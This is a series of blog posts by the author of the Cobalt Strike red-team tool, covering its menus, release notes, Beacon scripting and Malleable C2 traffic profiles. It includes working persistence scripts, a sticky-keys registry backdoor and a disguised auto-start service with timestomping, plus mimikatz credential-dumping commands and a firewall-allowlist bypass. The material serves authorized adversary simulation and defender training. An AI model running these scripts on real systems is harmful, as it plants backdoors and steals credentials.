I wrote Cobalt Strike and I take it for granted that my users know where things are. This doesn’t come from nowhere though. The users who get the most from this tool have read the documentation, watched my videos, or had a lot of trial and error.

If you’re new to Cobalt Strike, consider this blog post my “Get Started with the Cool Stuff” cheat sheet.

Let’s start with the Cobalt Strike menubar:

Under the Cobalt Strike menu are options to control and configure your Cobalt Strike instance. Use New Connection to connect to another team server. Go to Interfaces to work with your Covert VPN interfaces. The Listeners item is where you setup payload handlers. This is also where you configure Beacon. Go to Close to disconnect from the current team server.

The View menu is where you reach Cobalt Strike’s data. The Applications item takes you to the results from the System Profiler. Go to Beacons to manage your Beacon sessions. I like to use Ctrl+B to dock the Beacon tab to the bottom of my Cobalt Strike instance. The Web Log item shows the activity on Cobalt Strike’s Web Server. Go to Reporting to generate a report, jump to log files, or export data.

I keep Cobalt Strike’s custom attacks under the Attacks menu. Visit Packages to generate an executable or a document tied to a listener. Use Web Drive-by to host a file on Cobalt Strike’s web server or start a web drive-by attack. This is where the applet attacks live. Go to Spear Phish to kick off a spear phishing campaign.

Under Help, I have one item of special interest to licensed Cobalt Strike users. This is the Arsenal option. This menu takes you to a site where you may download source code to Cobalt Strike’s Applet Kit and Artifact Kit. The Artifact Kit is Cobalt Strike’s solution to swap anti-virus evasion techniques. I make this source code available to licensed users to allow changes for evasion purposes.

Cobalt Strike’s workflow for lateral movement [psexec and friends] goes beyond Armitage. You get a few new options such as wmi (token) and psexec (token). All psexec dialogs are setup to work with Cobalt Strike listeners as well. Cobalt Strike also gives you a workflow to manage SSH keys too. Finally, the psexec menus that require executables use Cobalt Strike’s Artifact Kit to generate executables.

Several of Cobalt Strike’s post-exploitation capabilities work with Meterpreter. Let’s take a look at these:

Try Access -> Bypass UAC to elevate from a medium integrity context to a high integrity context. This menu uses the Metasploit Framework’s bypassuac_inject module with an Artifact Kit DLL.

Go to Interact -> Desktop (VNC) to get to your target’s desktop via VNC. This option will use a Meterpreter script to stage a VNC server in memory on the target. Once the server is up, Cobalt Strike will connect to it with a built-in VNC client. I had to license the VNC client and I consider it money very well spent.

Explore -> Browser Pivot is the place to start Cobalt Strike’s man-in-the-browser session stealing technology for Internet Explorer. This feature allows you to browse to websites authenticated as your target user. It’s a really interesting pen tester take on a classic crimeware activity.

Jump to Pivoting -> Deploy VPN to run Covert VPN on your target’s system. This will create a layer-2 VPN into your target’s network. How this VPN communicates frames is up to you. It can tunnel through Meterpreter or connect to you over HTTP, UDP, or a TCP connection.

Finally, Pivoting -> Listener… creates a pivot listener. This is a little user-interface magic on top of a hidden Metasploit Framework feature. A pivot listener allows you to setup a reverse connection that tunnels through a Meterpreter session. You may use these listeners anywhere a normal listener would work.

And, that’s about it. This post is a good map to find Cobalt Strike’s feature set. You’ll notice this is not a lot of new interface elements. There’s a reason for this. I hate bloated user interfaces. Most of Cobalt Strike’s feature set is in its Beacon payload. Beacon gives Cobalt Strike its new communication channels [DNS, SMB], its indicator flexibility [Malleable C2], and new post-exploitation tools. Beacon has PowerShell integration and its bypass UAC attack works on Windows 8.1. If you want to get the most out of Cobalt Strike as a toolset, study Beacon. This payload will change the way you work.

Cobalt Strike’s Covert VPN feature now supports ICMP as one of its channels. Covert VPN is Cobalt Strike’s layer-2 pivoting capability. If you’re curious about how this technology works, I released some source code a few weeks ago.

The ICMP data channel is a turn-key way to demonstrate ICMP as an exfiltration channel if you need to prove a point. Here’s a video demonstrating Covert VPN’s ICMP channel with a server in Amazon’s EC2:

I don’t expect you to VPN all the things, but I’m excited. This feature is a step towards other work with ICMP in the future.

The ICMP VPN channel is available in today’s 2.2 release of Cobalt Strike. This release also touches and improves many of Cobalt Strike’s other features. The VNC server injection process was rewritten to better evade host-based firewalls. The spear phishing tool now handles message templates with embedded image attachments. You also get several bug fixes too. I recommend that you read the release notes for the full list of changes.

Licensed users may get the latest with the built-in update program. A 21-day trial of Cobalt Strike is available too.

Cobalt Strike 2.3 is now available. This release adds a runas command to Beacon. This command allows you to specify a username and password for any user and run a command as them. Useful for situations where you know credentials for an admin and want to use them to elevate. Care to know the alternative? Shell Escalation using VBS (pg. 31, Red Team Field Manual) is what I used to do.

This release also adds a Cobalt Strike version of the PowerShell Web Delivery tool. This tool hosts a PowerShell script on Cobalt Strike’s web server that injects a Cobalt Strike listener into memory. This feature also generates a PowerShell one-liner that you may run on a target to get a session.

Finally, this release addresses an incompatibility that affected DNS Beacon users. Updates to the Metasploit Framework affected Cobalt Strike’s process to encode a stage to deliver over DNS. Cobalt Strike now includes its own encoder to build the DNS Beacon stage.

For a full list of changes, please consult the release notes. Licensed users may get the latest with the built-in update program. A 21-day trial of Cobalt Strike is available too.

One common Cobalt Strike feature request is an API to script the Beacon payload. Doing this right is a big project and it requires some architectural changes within Cobalt Strike. I’m working on it. I have a major development effort underway to reshape Beacon’s role in Cobalt Strike. Scripting is one piece of this.

Right now, some automation is possible. Last year, I put together an “emergency API” to deploy persistence through Beacon. My normal methods were causing Meterpreter to crash and I needed another option. This API isn’t supported and it isn’t permanent. It’s a stop-gap. In the mean time, it may help you.

The API

The bootleg Beacon scripting API adds a few functions to Cortana. [Cortana is Armitage and Cobalt Strike’s scripting engine. You can read more on it here.]

@data = beacons();

This function returns an array of information. Each entry in the array is a dictionary with all information Cobalt Strike knows about the beacon.

bcd([beacon ID], “directory”);

This function will change Beacon’s current working directory. This has the same effect as the cd command in Beacon.

%foo = bdata([beacon ID]);

This function returns a dictionary with information about the specific Beacon ID.

$foo = binfo([beacon ID], “key”);

This function queries the Beacon information and returns a key from it. For example, the Beacon information dictionary contains the user key. This is the username associated with the Beacon. Beacon adds a * to this name if the Beacon is running in a high-integrity (administrator) context. You can check for this * to see if you’re an admin or not.

bnote([beacon ID], “text”);

This function assigns a note to a Beacon. These notes are viewable under View -> Beacons.

bsleep([beacon ID], milliseconds, jitter factor);

This function changes the sleep time of a Beacon. Specify the sleep time in milliseconds. The jitter factor is a value, 0-99, that represents how much Beacon should randomly adjust its sleep time each beacon cycle.

bshell([beacon ID], “command”);

This function will ask Beacon to execute a command with the Windows command shell. This has the same effect as the shell command in Beacon. Beware that Cobalt Strike limits the run-time of these commands to 15-30s. This command is not suitable for long running tasks.

btimestomp([beacon ID], “dest file”, “source file”);

This function asks Beacon to apply the modified, last accessed, and created times of the source file to the destination file. This is a good way to make your changes blend in if you need to.

bupload([beacon id], “/path/to/local file”);

This function asks Beacon to upload a file. Please note, the path you provide is on your local system [the Cobalt Strike client]. You do not need to upload the file to the team server to use it with this function. If you want to reference a file in the same directory as your script, use the script_resource function. This function accepts a file name as an argument and returns the path to that file as if it were co-located with your script.

In all the above functions, [beacon id] is a string that represents a unique identifier for the current Beacon session. You need to know the identifier of a Beacon to issue these commands against it. One way to get this is to define a popup menu at the beacon_top hook.

popup beacon_top {
   item "My ID" {
      show_message("You have highlighted: $1");
   }
}

The above menu will add a My ID menu to the top of the beacon right-click menu. All items and sub-menus defined within this hook have the variable $1. This argument is an array that contains all Beacons associated with the current popup. If you right-click inside of a Beacon window, this array will contain one item—the ID of the current Beacon. If you highlight 100+ Beacons in the View -> Beacons dialog—this array will contain the IDs of all those Beacons. This little Beacon API makes it trivial to mass task all of your Beacons. There’s also a beacon_bottom popup hook too.

Sticky Keys

Here’s how I do sticky keys persistence with the above Beacon scripting API:

popup beacon_top {
   item "Sticky Keys" {
      local('$bid');
      foreach $bid ($1) {
         stickykeys($bid);
      }
   }
}

sub stickykeys {
   bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f');
   bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe"');
   bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d "0" /f');
   bshell($1, 'netsh firewall set service type = remotedesktop mode = enable');
   bshell($1, 'netsh advfirewall firewall set rule group="remote desktop" new enable=Yes');
   bshell($1, 'net start TermService');
}

Deploy Beacon on Reboot with a Service

To survive reboots, I like to create services to run Beacon. To use this script—you will need to export a fully staged Beacon as a Windows Service Executable. Go to Attacks -> Packages -> Windows Executable (S). The Service Executable is an executable that responds to Windows Service Control Manager commands. If you try to use a normal executable, Windows will kill it shortly after it runs.

Fully-staged binaries contain everything Beacon needs to run. If Beacon can’t reach you initially—it’s OK, it’ll try to beacon again. The only downside to services is they run as SYSTEM. HTTP/HTTPS Beacons will not get through an authenticated proxy when run this way. For this reason, I use fully-staged DNS Beacons when I install a persistent service.

sub persist {
   bcd($1, 'c:\windows\system32');

   # create a netsrv.exe file and co-locate it with this script.
   # remember netsrv.exe MUST be a service EXE.
   bupload($1, script_resource("netsrv.exe"));
   btimestomp($1, "netsrv.exe", "cmd.exe");
   bshell($1, 'sc delete netsrv');
   bshell($1, 'sc create netsrv binPath= "C:\windows\system32\netsrv.exe" start= auto DisplayName= "System Network Service"');
   bshell($1, 'sc start netsrv');
}

popup beacon_top {
   item "Create Service" {
      local('$bid');
      foreach $bid ($1) {
         persist($bid);
      }
   }
}

React to a New Beacon

The above examples show how to use Beacon to set up a configuration backdoor and deploy a service. They’re pretty representative of what this small API does. I get a lot of questions from folks about how to write a script that responds to a new Beacon. Cortana does not expose an API to do this. That said, you can build this API with what I provide. This script registers a ten second timer handler that calls the beacons() function. This script extracts all Beacon IDs from this list of Beacons and looks for which IDs are new. It then fires a beacon_initial event for each new Beacon. Other scripts may use this event to react to new Beacons.

global('@old');

on heartbeat_10s {
   local('@beacons $beacon $bid %data @new @all');

   # grab all beacon ids AND build a map between ids and data
   @beacons = beacons();
   foreach $beacon (@beacons) {
      $bid = $beacon['id'];
      %data[$bid] = $beacon;
      push(@all, $bid);
   }

   # remove old beacons from current list... I use copy(@all)
   # because removeAll is destructive to its first argument
   @new = removeAll(copy(@all), @old);

   # with old beacons removed; we have our new beacons...
   foreach $bid (@new) {
      fire_event("beacon_initial", $bid, %data[$bid]);
   }

   # make our list of all beacons into our old list now
   @old = @all;
}

And here’s an example of this beacon_initial event:

on beacon_initial {
   local('$key $value');
   println("I have a beacon: $1 from " . $2['internal']);
   foreach $key => $value ($2) {
      println("\t $+ $[10]key = $value");
   }
}

You may be asking—why write about an undocumented API and why write about it now? March and April is the time of the year when the Collegiate Cyber Defense Competition is in full swing. Armitage was inspired by the need for red team collaboration at these events. Through a sponsorship agreement between Strategic Cyber LLC and National CCDC, Cobalt Strike is available to the regional and National CCDC red team members. Automated persistence is a key problem for the red teams at these events. If you’re on a CCDC red team, these scripts should help you put together something unique for your region.

Cobalt Strike 2.4 is now available. If you use Beacon for post-exploitation, you’ll find a lot to like in this release. Here’s the highlights:

Post-Exploitation Jobs

Beacon now supports long-running jobs. These are post-exploitation tasks that live in other processes and report information to Beacon as it becomes available.

Beacon’s keystroke logger was rewritten to take advantage of jobs. You may now inject Beacon’s keystroke logger into an arbitrary x86 or x64 process and it will report keystrokes back to you. Use keylogger [pid] [x86|x64] to start collecting information from a process of interest.

I’ve also updated Beacon’s shell and powershell commands to run as jobs too. Do you have a PowerShell script that needs to run for days? That’s no problem. Beacon will drip output back to you as it becomes available.

Use Beacon’s jobs command to see which jobs are running in the current Beacon. Use jobkill to terminate a job.

The move to post-ex Jobs is good for Beacon long-term. Jobs isolate your Beacon from the processes where post-exploitation tasks take place. This removes the need for a dangerous migrate operation and it protects your Beacon should disaster strike one of the processes you’re collecting information from. This construct also favors features built as Reflective DLLs and PowerShell scripts. These are things that Beacon can import when you need to use them. This allows Beacon to gain new features, but also stay small, simple, and reliable.

Mimikatz

Beacon now integrates mimikatz. Use the mimikatz command to run a command through mimikatz’s command dispatcher. Beacon will even tab complete mimikatz commands for you.

Would you like a cup of coffee? Use mimikatz standard::coffee to get it. Would you like to beat minesweeper? Use mimikatz minesweeper::infos to reveal the map.

All joking aside, the amount of capability in mimikatz is incredible. Would you like to dump cached logon hashes? Use mimikatz !lsadump::cache. Use the ! to make mimikatz elevate to SYSTEM before it runs your command.

Would you like to dump plaintext passwords? Use mimikatz sekurlsa::wdigest. I’ve also created a wdigest command in Beacon to alias this for you.

This integration is very user friendly. Beacon will deploy an x64 or x86 mimikatz depending on the native architecture of the target system. Beacon will also attempt to secure the SE_DEBUG privilege for your mimikatz instance too.

As an aside, Beacon gained a hashdump command too. Similar to mimikatz, Beacon manages the x86/x64 and SE_DEBUG privilege madness for you. All you have to do is dump hashes and enjoy.

Foreign Listeners

I’ve always considered session passing core to Cobalt Strike’s collaboration workflow. This release takes session passing to another level. Cobalt Strike now supports foreign listeners. These are listeners that reference a handler running in a remote Armitage, Cobalt Strike, or msfconsole instance.

If you need to pass a session to a friend, ask them for their payload type, host, and port. Create a foreign listener for them and then, you can pass accesses to them from a Beacon or any other Cobalt Strike feature that uses listeners.

These three items are just a taste of Cobalt Strike 2.4. For a full list of changes, you’ll want to consult the release notes. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

One of my favorite Cobalt Strike technologies is Malleable C2. This is a domain specific language for user-defined storage-based covert communication. That’s just a fancy way of saying that you, the operator, have control over what Cobalt Strike’s Beacon looks like when it communicates with you.

When I do red team work, I see the same blue audiences again and again. If the red teams I worked with were to persist the same way or have the same indicators during each engagement, the blue audiences would quickly learn these things and cease to get training value from our activity.

There’s two ways to solve this problem. One way is to use new tools during each engagement. That means the red teams either need to buy or build new tools for each repeat encounter they expect to have. This is expensive and not tractable. The other alternative is to build hacking tools that give their users flexibility to change behavior and indicators during an engagement. This line of thought is what led to Malleable C2.

Malleable C2 Profiles

The heart of Malleable C2 is a communication profile. This profile specifies what Beacon’s communication should look like on the wire. You can do the really easy stuff, like say, “I want my User-Agent to be ___________________”. That’s a simple option.

You can also dress up a Malleable C2 transaction too. The header keyword lets you add arbitrary headers to Beacon’s HTTP client requests and server replies. The parameter keyword lets you dress up Beacon’s HTTP client requests with additional parameters too.

You can also do cooler things, like say, “I want to base64 encode Beacon’s encrypted taskings and store the result inside of an HTML comment” [havex.profile] or “I want to add the encrypted Beacon tasks to a 1×1 pixel GIF file” [webbug.profile]. This is made possible by a Malleable C2 concept that I call a data transform. A data transform is a series of transforms that you may apply to data Beacon has to send. These transforms include append this string, base64 encode the data, prepend this string, and netbios encode the data.

        metadata {
            netbios;
            append "-.jpg";
            uri-append;
        }

Malleable C2 allows you to chain these transforms together into a program. This program is interpreted to transform Beacon’s data, one instruction at a time, into a string that looks like whatever you want.

Critically, each of these data transforms is trivially reversible. If I base64 encode some data, I simply need to use a base64 decode operation to recover that data. If I append a string to Beacon’s data, I just need to remove that many characters when I receive data from a Beacon to recover the original data.

The presence of an inverse operation for each transform is the magic that allows Cobalt Strike to derive how to send AND receive data from one specification.

The last piece of Malleable C2 is the ability to define where the data you transform is stored. Each data transform ends with a statement like print, which means send this data to the other end. More interesting statements include header and parameter which let you store the transformed data into an arbitrary HTTP header or parameter. The uri-append statement appends the transformed data to the requested URI.

This gives you an additional piece of flexibility. Not only can you define how to transform data that Beacon needs to send, you get to define where in the transaction this data goes.

Virtual Machines for Malware Communication

The challenge of Malleable C2 is that a Beacon needs to both send and receive information. This means Beacon, written in C, needs to transform data and recover data from a transform. The same goes for Cobalt Strike’s Java back-end that services Beacon’s HTTP requests.

To make this work I built a compiler for the C2 profiles. This compiler does all of the things you’d expect a traditional compiler to do. It parses the profile into an abstract syntax tree, it checks for errors, and it outputs a simple set of instructions that I wrote an interpreter for.

In effect, the Beacon payload and its server have built-in virtual machines to transform strings in different ways. Instead of CPU registers or a stack, this virtual machine operates on buffers. The active buffer maps directly to a part of a communication request. If I’m sending data from Beacon, there are buffers for parameters, headers, the URI, and in the case of a POST request–the data the client wants to send. Instructions in this Malleable C2 machine language allow the profile to set which buffer is the active one and populate/transform the data in this active buffer.

Likewise, to recover data, the Malleable C2 machine has instructions to populate a buffer with data from the transaction and to conduct inverse transforms on the data.

I could have built a simple XML format or made a few options to change static strings in Beacon’s communication. I went with this approach to give my users flexibility to look like other malware or legitimate traffic with very high fidelity. This isn’t possible with a few configuration options to change static strings. It really requires the ability to rewrite how the client and server expect to send and receive data from each other.

How I use Malleable C2

You may ask, what’s the use of Malleable C2? I’ve had a prototype of this technology since early 2014. I pushed it into production in July 2014. Now, after some time with it, I can offer some use cases.

I do use Malleable C2, for its stated use case, to emulate specific actors. The Malleable C2 Github repository has several example profiles that re-create the C2 traffic of known malware. I tend to use profiles tied to known malware when I want to get caught or when I want to exercise a blue team’s ability to analyze the attack.

Just as often, I will also modify a profile to make myself look like a variant of known malware. I do this to avoid getting caught with default signatures, but to make my activity identifiable as malicious for training audiences doing traffic analysis.

While Malleable C2 gives me a vote in how I want to get caught, it’s just as effective at evasion too. Once I know an environment’s browser configuration and sites users are likely to visit, I’ll load some of these sites in a VM, capture traffic, and craft profiles to look like this traffic. One time, I pulled down a PDF file from a document archive and made a profile to insert Beacon C2 into the middle of the PDF content. I do the same thing with JavaScript files that are common in an environment too. I also made favicon into a channel once. I didn’t spend days or hours crafting these. I built these on the fly, as needed, to support the engagement objectives.

When I stand up red team infrastructure, I always diversify my indicators. My long-haul persistence servers have different indicators from my staging and post-exploitation servers. If you use Cobalt Strike, I highly recommend you do this too. If one Beacon gets caught, you don’t want its traffic pattern to make it easy to identify all of your other Beacons. Malleable C2 makes it trivial to have indicator diversity with one tool.

Malleable C2 has helped defeat “blinky box” appliances as well:

One red team I worked with had to deal with a network appliance that whitelisted which sites clients could browse to. In this situation, we could use a client system to seed our access and troubleshoot our outbound communications. It was still our responsibility to figure out something that would work though. On a whim, we modified our profile’s HTTP GET and POST components to add a parameter with a whitelisted host in it:

http-get {
	client {
		parameter "q" "www.youtube.com";
	}
}

http-post {
	client {
		parameter "q" "www.youtube.com";
	}	
}

And, it worked. We were able to get a fully-staged HTTP Beacon past the device. Apparently this vendor didn’t check whether or not we were visiting a whitelisted domain, they just cared that a whitelisted string existed in the URL.

I’ve seen several situations where a proxy server allows certain browsers out and denies other browsers the opportunity to leave the network. These situations represent the real power of Malleable C2. If some specific part of the Beacon payload is holding you back, Malleable C2 gives you the flexibility to do something about it. I consider that a huge win for empowering my end users to get the most out of the Cobalt Strike toolset.

Malleable C2 isn’t hard to learn. I recommend grabbing an example and tweaking it. You can also read the documentation to get a feel for what Malleable C2 can do.

My primary conference give away is a DVD with a self-contained penetration testing lab. This DVD covers the Metasploit Framework‘s capability to target a server. It also covers the client-side attack process in Cobalt Strike. It’s a pretty neat set of labs and they don’t take too long to go through.

I’ve had several requests to put these labs online. If you’re one of those interested parties, then today is your lucky day. The Cobalt Strike Pen Testing Lab DVD material is now available for download.

To start, you’ll want to grab the necessary virtual machines:

1. Morning Catch (Phishing Target)
http://www.advancedpentest.com/downloads/morningcatch.zip.torrent

2. Metasploitable 2
http://sourceforge.net/projects/metasploitable/files/Metasploitable2/

3. Xubuntu Attack VM with CS dependencies and stuff to support the labs
http://www.advancedpentest.com/downloads/xubuntu.zip.torrent

Next, you’ll want to download the penetration testing lab book. Last, you’ll need to grab a trial of Cobalt Strike and install it on the Xubuntu virtual machine above.

Once you have these things, you’re ready to rock. If you get stuck, here’s a video of me going through the labs:

Enjoy!

I spend a lot of my red time in the Access Manager role. This is the person on a red team who manages callbacks for the red cell. Sometimes, I like to grab a Beacon and drive around a network. It’s important to get out once in a while and enjoy what’s there. Cobalt Strike 2.5 is all about cruising around networks.

Lateral Movement++

This release adds native lateral movement options to Beacon. Use the psexec_psh, winrm, and wmi commands to deliver a Beacon to a target using PowerShell to avoid touching disk. For you old school types, a psexec command is available to deliver a Beacon to a target with an Artifact Kit service executable.

You’ll likely notice that Cobalt Strike’s lateral movement options do not accept credentials, hashes, or other credential material. Keeping with Cobalt Strike’s operating philosophy, these lateral movement options rely on what’s in your access token to authenticate with a remote system. If you want to pass-the-hash with Beacon; use mimikatz to create a token that passes your hash. If you need to pass credentials, use Cobalt Strike 2.5’s make_token command to create a token to pass the credentials you provide.

Named Pipe Stager

Cobalt Strike’s best payload for lateral movement is the SMB Beacon. This Beacon uses a named pipe to receive commands from and relay output through another Beacon. A named pipe is an inter-process communication mechanism on Windows. Named pipes also work host-to-host to allow two programs to communicate with each other over the network. This traffic is encapsulated in the SMB protocol.

The SMB beacon is awesome but it had a weakness. It’s too big to use with attacks like psexec_psh. Cobalt Strike 2.5 solves this problem with its named pipe stager. This tiny stager delivers the SMB Beacon to a remote target over a named pipe. This stager works well with Beacon’s new lateral movement options that don’t touch disk. This is quite an upgrade from the previous best practices.

Pivoting Process-to-Process

Red Teams pivot, not just host-to-host, but process-to-process on the same host. This need is usually driven by egress and evasion concerns. A process run as an unprivileged user may have the ability to egress. As soon as you elevate, you may run into difficulties if that elevated process can’t communicate out.

Cobalt Strike 2.5 uses the SMB Beacon to help with this problem. Beacon features to include its Bypass UAC attack and new spawnas command [use credentials to spawn a payload; without touching disk] accept the SMB Beacon as a target payload. This greatly improves Cobalt Strike’s options to work through one egress channel.

Reverse Port Forwards

Cobalt Strike 2.5 also adds reverse port forwarding. Beacon’s new rportfwd command will bind a port of your choice on a compromised target. When someone connects to this port, Cobalt Strike’s team server will establish a connection to a forward host and port of your choosing. It will then relay traffic, via Beacon, between this new connection and the client connected to your Beacon. Now, you can use compromised systems as arbitrary redirectors. ☺

Check out the release notes to see a full list of what’s new in Cobalt Strike 2.5. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

If you’ve run into me at a conference during the 2015 calendar year, there’s a strong chance you’ve heard about or saw the Aggressor project. Aggressor is a ground-up rewrite of Cobalt Strike’s team server and client to better serve its Red Team Operations and Adversary Simulation use cases. I expect to ship this work as Cobalt Strike 3.0. It’s due for release at DerbyCon 2015 (September 2015).

At first glance, Cobalt Strike 3.0’s biggest change is the absence of the Metasploit Framework. Cobalt Strike 3.0 doesn’t depend on it. Instead, Cobalt Strike 3.0 builds its process and workflows on the Beacon post-exploitation agent. Many of my customers have moved their offensive process to the Beacon payload. Cobalt Strike 3.0 caters to this shift. Cobalt Strike 3.0 is also a fresh look at reporting and logging to aid accountability, deconfliction, and training.

If you want to know what Cobalt Strike 3.0 will look like, here’s a partial preview:

To some, this may sound very foreign. What’s the point of a penetration test without scans and exploits? Not all security assessments look like this. Adversary Simulations and Red Team Operations are security assessments that replicate the tactics and techniques of an advanced adversary in a network. While penetration tests tend to focus on unpatched vulnerabilities and misconfigurations, adversary simulations benefit security operations and incident response. There are different models/best practices for these engagements. I started this company and built this product to push these practice areas forward.

I’ve had several folks ask questions about Cobalt Strike 3.0. I wanted to take a few moments to answer them:

1) Is Cobalt Strike 3.0 available to existing customers or will I need to buy new licenses?

Cobalt Strike 3.0 is the anticipated successor to Cobalt Strike 2.5. As with other Cobalt Strike updates, Cobalt Strike 3.0 will be available to those with active Cobalt Strike licenses.

2) Will the price of Cobalt Strike go up when 3.0 hits?

The price of Cobalt Strike will not change as a result of the 3.0 release. Could the price go up in the future? Absolutely. Will it go up in the next month or two? No.

3) What will happen to browser pivoting in Cobalt Strike 3.0?

Browser Pivoting is present in Cobalt Strike 3.0.

4) How will you replace all the great things in Metasploit?

Cobalt Strike 3.0 does not replace the Metasploit Framework. Cobalt Strike 3.0 complements the Metasploit Framework as a separate platform. You can fire the Beacon payload with a Metasploit Framework exploit [demo]. You can pass accesses between the Metasploit Framework and Beacon [demo]. You can also pivot Metasploit Framework attacks [demo] and Meterpreter sessions through Beacon [demo].

5) Is Cobalt Strike’s name changing?

No. Aggressor is a codename. Cobalt Strike will still be called Cobalt Strike.

6) What will happen to Cobalt Strike 2.x and Armitage?

Armitage is its own project and will continue to stay much as it is now. I consider Armitage a mature product, but will maintain it as necessary. Cobalt Strike 2.x will be replaced by Cobalt Strike 3.0. I do not plan to maintain two lines of the Cobalt Strike product.

If you’d like to learn more about Cobalt Strike 3.0, hang tight, we only have a few weeks until DerbyCon. So far, we’re on track for a release at that time.

Cobalt Strike 3.0 is coming in a few weeks. This upcoming release is the result of a large engineering effort that paralleled my existing efforts to maintain Cobalt Strike 2.x. One of the big motivators for this parallel effort was to take a fresh look at logging and reporting.

Today’s Cobalt Strike produces reports that are run-of-the-mill for penetration testing tools (*yawwwwwwwwn*). That’s too bad. Cobalt Strike’s reporting engine has a lot of potential. It generates high quality PDF and editable Word Documents. The fidelity between the two is incredible. Cobalt Strike is also unique in its ability to connect to multiple team servers and merge data from all of these servers into one data model before it generates a report. This is important as any red team worth its salt operates from distributed infrastructure. No one server has the whole story.

So, here’s the question that drove this work: what do red teams and adversary simulation operators need in terms of reports? These operators are not trying to enumerate all vulnerabilities in a large enterprise. They’re working to train and exercise incident response.

If the debriefs from red team operations and adversary simulations don’t focus on vulnerabilities, what do they focus on? They focus on red team actions, the indicators these actions leave behind, and the exact timeline of the red team’s activity. This insight is where I started my re-think of Cobalt Strike 3.0’s reporting capability.

Cobalt Strike 2.x’s Hosts and Social Engineering Reports will come over to Cobalt Strike 3.0 mostly as-is. Cobalt Strike 3.0 has several new reports. Here they are:

Indicators of Compromise

Most threat intelligence report includes an Indicators of Compromise appendix at the end. These reports document hashes, IP addresses, and samples of malware command and control traffic. These appendices are a familiar format for security operations staff to consume.

Cobalt Strike 3.0 generates its own Indicators of Compromise Appendix, based on your activity. This report pulls data from all of the team servers you’re currently connected to.

This report generates and displays a traffic sample from each team server’s Malleable C2 profile.

It summarizes the MD5 hashes of files uploaded through a Beacon.

It also summarizes IP addresses and domains affiliated with your different listeners.

Like most Threat Intelligence reports, this appendix documents indicators with little context. I see this report as something you can provide mid-engagement when the Detect part of the Detection and Response game is taking longer than it should. It provides enough information to give security operations staff a start for hunting red team activity.

The (New) Activity Timeline

The Activity Report is a timeline of all red team activity that occurred during the engagement. Cobalt Strike 3.0’s Activity Report is a drastic improvement over the Activity Report in Cobalt Strike 2.x. Cobalt Strike 3.0’s asynchronous model of offense requires most actions to deploy to and execute from a Beacon. This makes it easier to summarize what happened and where it happened in a way that’s meaningful to a blue operator.

This report becomes far more interesting when you take into account the fact that Cobalt Strike 3.0 merges timelines and data from all team servers you’re connected to before it generates a report.

The Sessions Report

At the end of a security-operations focused assessment, the network defense staff is going to want to know what they should have seen and when. This information will allow them correlate your activity with their sensors and allow them to look into what they should have caught (but didn’t) or what they did catch, but didn’t understand and attribute properly. This is important information to provide and every red team I’ve worked with struggles to pull this together for their blue peers. Cobalt Strike 3.0 takes a stab at this problem with its sessions report.

The sessions report is a timeline of red team activity on a session-by-session basis. This report also summarizes the MD5 hashes of all files uploaded during that session. It  pulls out miscellaneous indicators that the team may have observed (right now, services created by Cobalt Strike’s automation [e.g., getsystem]).

This report also documents the communication path each compromised system took to reach you, the attacker. This is especially important to help blue teams understand the complex pivoting red team operators tend to execute.

Custom Reports (Cobalt Strike 3.1?)

Cobalt Strike 3.0’s Reporting Engine uses a Domain Specific Language to specify reports without exposing the intermediate markup I generate PDFs and Word Documents from. I will eventually expose this DSL and allow Cobalt Strike’s users to build custom reports and tailor the existing ones to their needs.

I hope you’ve enjoyed this preview of Cobalt Strike 3.0’s reports for Red Team Operations and Adversary Simulations. I expect to ship Cobalt Strike 3.0 by the end of this month.

Cobalt Strike’s mission is to help security professionals emulate “advanced threat tactics” during their engagements. I’ve executed on this since the product’s 2012 release. Cobalt Strike 3.0 is the next iteration of this.

Cobalt Strike 3.0 is a ground-up rewrite of the client and server components in this product. Notably, Cobalt Strike no longer directly depends on the Metasploit Framework. Cobalt Strike 3.0 is a stand-alone platform for Adversary Simulations and Red Team Operations.

This release makes several strategic changes to support Cobalt Strike’s Red Team Operations and Adversary Simulation use cases. Here are the highlights…

Asynchronous Post Exploitation with Beacon

Beacon has completed its transition from stable lifeline to full-featured post-exploitation agent. This release includes features and workflows for user-exploitation at scale and a data model that populates itself with credentials and targets found with Beacon.

Logging and Reporting Designed for Red Team Operations

Logging and Reporting were completely overhauled. All logging now takes place on the team server. Each command is attributed to an operator. File uploads are hashed and the file hash is noted in the logs. Actions and output are captured whether a client is connected to the server or not. Cobalt Strike 3.0’s reports produce detailed timelines of red team activity and indicators of compromise.

Intuitive Named-pipe Pivoting

The SMB Beacon is a first-class part of Cobalt Strike’s workflows. This Beacon variant uses a named pipe to receive commands from and send output through a parent Beacon. This effectively allows you to chain Beacons to tightly control your communication path and egress systems/elevated processes through another Beacon’s channel. Cobalt Strike 3.0 supports the SMB Beacon with visualization that shows this chaining in a beautiful and intuitive way.

Target Acquisition and Lateral Movement

Cobalt Strike 3.0 also provides tools and workflows to support target acquisition and lateral movement with Beacon. The new net module uses Win32 APIs to discover and interrogate targets. Beacon also gained a port scanner that operates on target and reports intermediate results when Beacon checks in. The workflows to repurpose trust material and jump to a target are efficient and intuitive.

Advanced Threat Tactics Training

Finally, Cobalt Strike’s online training was refreshed for this 3.0 release. The Advanced Threat Tactics course is nearly six hours of material on the modern offensive process Cobalt Strike 3.0 supports.

A 21-day trial of Cobalt Strike 3.0 is available. The 3.0 release uses new infrastructure for its updates. Licensed users will need to download a trial of 3.0 and use the update program to get the licensed version of Cobalt Strike.

The release of Cobalt Strike 3.0 also saw the release of Advanced Threat Tactics, a nine-part course on red team operations and adversary simulations. This course is nearly six hours of material with an emphasis on process, concepts, and tradecraft.

If you’d like to jump into the course, it’s on YouTube:

Here are a few notes to explore each topic in the course with more depth.

0. Introduction

This is a course on red team operations and adversary simulations.

To learn more about Adversary Simulations and Red Team Operations:

• Watch Assume Breach: An Inside Look at a Cloud Security Service Provider. I’m a big believer in assume breach. This is an engagement philosophy where a red team is given access and focuses on the post-exploitation steps of a long-term embedded adversary to exercise detection and response.
